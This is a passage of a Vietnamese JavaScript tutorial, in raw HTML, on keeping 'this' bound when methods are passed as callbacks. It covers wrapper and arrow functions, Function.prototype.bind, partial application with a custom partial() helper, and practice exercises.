id="giải-pháp-sử-dụng-hàm-wrapper" style="position:relative;"><a href="#gi%E1%BA%A3i-ph%C3%A1p-s%E1%BB%AD-d%E1%BB%A5ng-h%C3%A0m-wrapper" aria-label="giải pháp sử dụng hàm wrapper permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giải pháp sử dụng hàm wrapper</h2> <p>Cách đơn giản nhất để tránh mất this là <strong>sử dụng hàm wrapper</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>firstName<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> user<span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello, Alex!</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả hiển thị đã chính xác như mong muốn. Bởi vì khi <code>setTimeout</code> gọi hàm callback, giá trị của <code>user</code> được lấy từ phạm vi bên ngoài, rồi gọi phương thức <code>sayHi</code> của <code>user</code> như bình thường.</p> <p>Ngoài ra, bạn có thể sử dụng <a href="/arrow-function-la-gi-arrow-function-trong-js/">arrow function</a> cho ngắn gọn:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> user<span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello, Alex!</span></code></pre></div> <p>Nhìn chung, cách sử dụng hàm wrapper này khá đơn giản và dễ hiểu. Tuy nhiên, cách này lại tiểm ẩn khả năng xảy ra lỗi.</p> <p>Giả sử, trước khi hàm <code>setTimeout</code> gọi hàm callback mà giá trị của <code>user</code> lại bị thay đổi thì kết quả hiển thị sẽ không đúng như mong đợi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>firstName<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// delay 1 giây</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> user<span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// trong lúc đó, giá trị của `user` thay đổi</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"User khác được dùng trong setTimeout!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// User khác được dùng trong setTimeout!</span></code></pre></div> <p>Cách thứ hai sau đây sẽ đảm bảo tình trạng này không xảy ra.</p> <h2 id="sử-dụng-function-binding-trong-javascript" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-function-binding-trong-javascript" aria-label="sử dụng function binding trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng function binding trong JavaScript</h2> <p>Function trong JavaScript có sẵn một phương thức là <code>bind</code> cho phép không làm thay đổi giá trị của <code>this</code>, với cú pháp cơ bản như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> boundFunc <span class="token operator">=</span> <span class="token function">func</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>context<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả của <code>func.bind(context)</code> là một <strong>đối tượng đặc biệt</strong>. Đối tượng này có thể được gọi như hàm và luôn cố định giá trị <code>this=context</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>firstName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> funcUser <span class="token operator">=</span> <span class="token function">func</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">funcUser</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span></code></pre></div> <p>Trong ví dụ trên, <code>func.bind(user)</code> cố định giá trị của <code>this=user</code>.</p> <p>Ngoài ra, <code>func.bind</code> có thể sử dụng với hàm có tham số như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token parameter">message</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message <span class="token operator">+</span> <span class="token string">", "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>firstName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// bind `this` với user</span> <span class="token keyword">let</span> funcUser <span class="token operator">=</span> <span class="token function">func</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">funcUser</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello, Alex (message="Hello" và this=user)</span></code></pre></div> <p>Bây giờ, hãy thử binding function với phương thức của object:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>firstName<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> sayHi <span class="token operator">=</span> user<span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span></span> <span class="token comment">// có thể gọi hàm mà không cần object</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello, Alex!</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>sayHi<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello, Alex!</span> <span class="token comment">// thậm chí là khi giá trị của user thay đổi</span> <span class="token comment">// sayHi vẫn tham chiếu tới giá trị user lúc được bind</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"User đã thay đổi!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Tại <code>(*)</code>, phương thức <code>user.sayHi</code> đã bind giá trị <code>this=user</code>. Kết quả trả về là hàm <code>sayHi</code> - có thể gọi độc lập và giá trị <code>this</code> luôn bằng <code>user</code> tại thời điểm bind.</p> <h2 id="partial-function" style="position:relative;"><a href="#partial-function" aria-label="partial function permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Partial function</h2> <p>Mình mới đề cập tới vấn đề binding function với <code>this</code>. Thực tế, bạn có thể thực hiện binding cả tham số. Cú pháp đầy đủ của binding function là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> bound <span class="token operator">=</span> <span class="token function">func</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>context<span class="token punctuation">,</span> <span class="token punctuation">[</span>arg1<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span>arg2<span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token operator">...</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Phương thức <code>bind</code> cho phép bind giá trị <code>this=context</code> và sau đó là các tham số của hàm.</p> <p>Ví dụ mình có hàm tính tích hai số như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">mul</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">*</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Bây giờ, mình có thể sử dụng <code>bind</code> để tạo ra hàm <strong>nhân đôi</strong>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">mul</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">*</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> double <span class="token operator">=</span> <span class="token function">mul</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">double</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// = mul(2, 3) = 6</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">double</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// = mul(2, 4) = 8</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">double</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// = mul(2, 5) = 10</span></code></pre></div> <p>Trong ví dụ trên <code>mul.bind(null, 2)</code> tạo ra hàm mới <code>double</code> với giá trị <code>this=null</code> và <code>a=2</code>. Khi gọi hàm với <code>double</code>, bạn chỉ cần truyền vào giá trị của tham số <code>b</code>.</p> <p>Cách này gọi <strong>partial function</strong>.</p> <blockquote> <p><strong>Chú ý:</strong> hàm <code>double</code> không sử dụng <code>this</code>. Tuy nhiên, hàm <code>bind</code> lại yêu cầu <code>this</code>. Vì vậy, tham số đầu tiên mình để <code>null</code>.</p> </blockquote> <p>Tương tự, mình có thể tạo ra hàm nhân ba <code>triple</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">mul</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">*</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> triple <span class="token operator">=</span> <span class="token function">mul</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">triple</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// = mul(3, 3) = 9</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">triple</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// = mul(3, 4) = 12</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">triple</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// = mul(3, 5) = 15</span></code></pre></div> <p><strong>Tại sao lại sử dụng partial function?</strong></p> <p>Lợi ích của việc sử dụng partial function là mình có các hàm với tên dễ hiểu <code>double</code>, <code>triple</code>.</p> <p>Đồng thời, mình có thể gọi các hàm này một cách độc lập và không cần phải gọi hàm <code>mul</code> với giá trị tham số đầu tiên luôn luôn cố định bằng <code>2</code> với <code>double</code> hoặc bằng <code>3</code> với <code>triple</code>.</p> <h2 id="partial-function-không-cố-định-context" style="position:relative;"><a href="#partial-function-kh%C3%B4ng-c%E1%BB%91-%C4%91%E1%BB%8Bnh-context" aria-label="partial function không cố định context permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Partial function không cố định context</h2> <p>Giả sử mình cần cố định một vài tham số của hàm, ngoại trừ context, ví dụ khi hàm là phương thức của object.</p> <p>Phương thức <code>func.bind</code> không cho phép bạn làm điều đó. Vì bạn <strong>không thể bỏ qua context</strong> rồi nhảy ngay đến các tham số. Bởi lẽ, <code>func.bind</code> luôn hiểu tham số đầu tiên là context cho <code>this</code>.</p> <p>Để giải quyết vấn đề này bạn có thể triển khai hàm <code>partial</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token function">partial</span><span class="token punctuation">(</span><span class="token parameter">func<span class="token punctuation">,</span> <span class="token operator">...</span>argsBound</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token function">func</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> <span class="token operator">...</span>argsBound<span class="token punctuation">,</span> <span class="token operator">...</span>args<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span> <span class="token comment">// Sử dụng:</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token function">say</span><span class="token punctuation">(</span><span class="token parameter">time<span class="token punctuation">,</span> message</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">[</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>time<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">] </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>firstName<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>message<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// tạo phương thức partial với giá trị của `time` cố định</span> user<span class="token punctuation">.</span>sayNow <span class="token operator">=</span> <span class="token function">partial</span><span class="token punctuation">(</span> user<span class="token punctuation">.</span>say<span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getHours</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">":"</span> <span class="token operator">+</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getMinutes</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> user<span class="token punctuation">.</span><span class="token function">sayNow</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Kết quả có dạng như sau: [10:00] Alex: Hello!</span></code></pre></div> <p>Trong ví dụ trên, kết quả của việc gọi hàm <code>partial</code> là một hàm wrapper với:</p> <ul> <li>Giá trị của <code>this</code> được lấy lúc gọi hàm. Ví dụ khi gọi <code>user.sayNow</code> thì <code>this=user</code>.</li> <li><code>...argsBound</code> là tham số từ hàm <code>partial</code>, giả sử là <code>"10:00"</code>.</li> <li><code>...args</code> là tham số của hàm wrapper, ví dụ là <code>"Hello"</code>.</li> </ul> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Phương thức <code>func.bind(context, ...args)</code> trả về một hàm đặc biệt với việc cố định giá trị <code>this=context</code> và các tham số đầu tiên (nếu có).</p> <p>Khi một vài tham số đầu tiên được cố định, thì kết quả trả về được gọi là <strong>partial function</strong>.</p> <p>Partial functions hữu ích khi bạn <strong>không muốn lặp lại việc truyền các tham số giống nhau</strong> ở các lần gọi hàm.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Cho đoạn code sau, hỏi kết quả trả về là gì?</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ?</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">g</span><span class="token operator">:</span> <span class="token function">f</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> user<span class="token punctuation">.</span><span class="token function">g</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Kết quả là: <code>null</code>.</p> <p>Phương thức <code>user.g</code> được gán bằng <code>f.bind(null)</code>. Nghĩa là giá trị của <code>this</code> trong hàm <code>f</code> luôn là <code>null</code>.</p> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Khi gọi <code>bind</code> nhiều lần, giá trị của <code>this</code> có thay đổi không?</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> f <span class="token operator">=</span> <span class="token function">f</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Anna"</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span></code></pre></div> <p>Kết quả 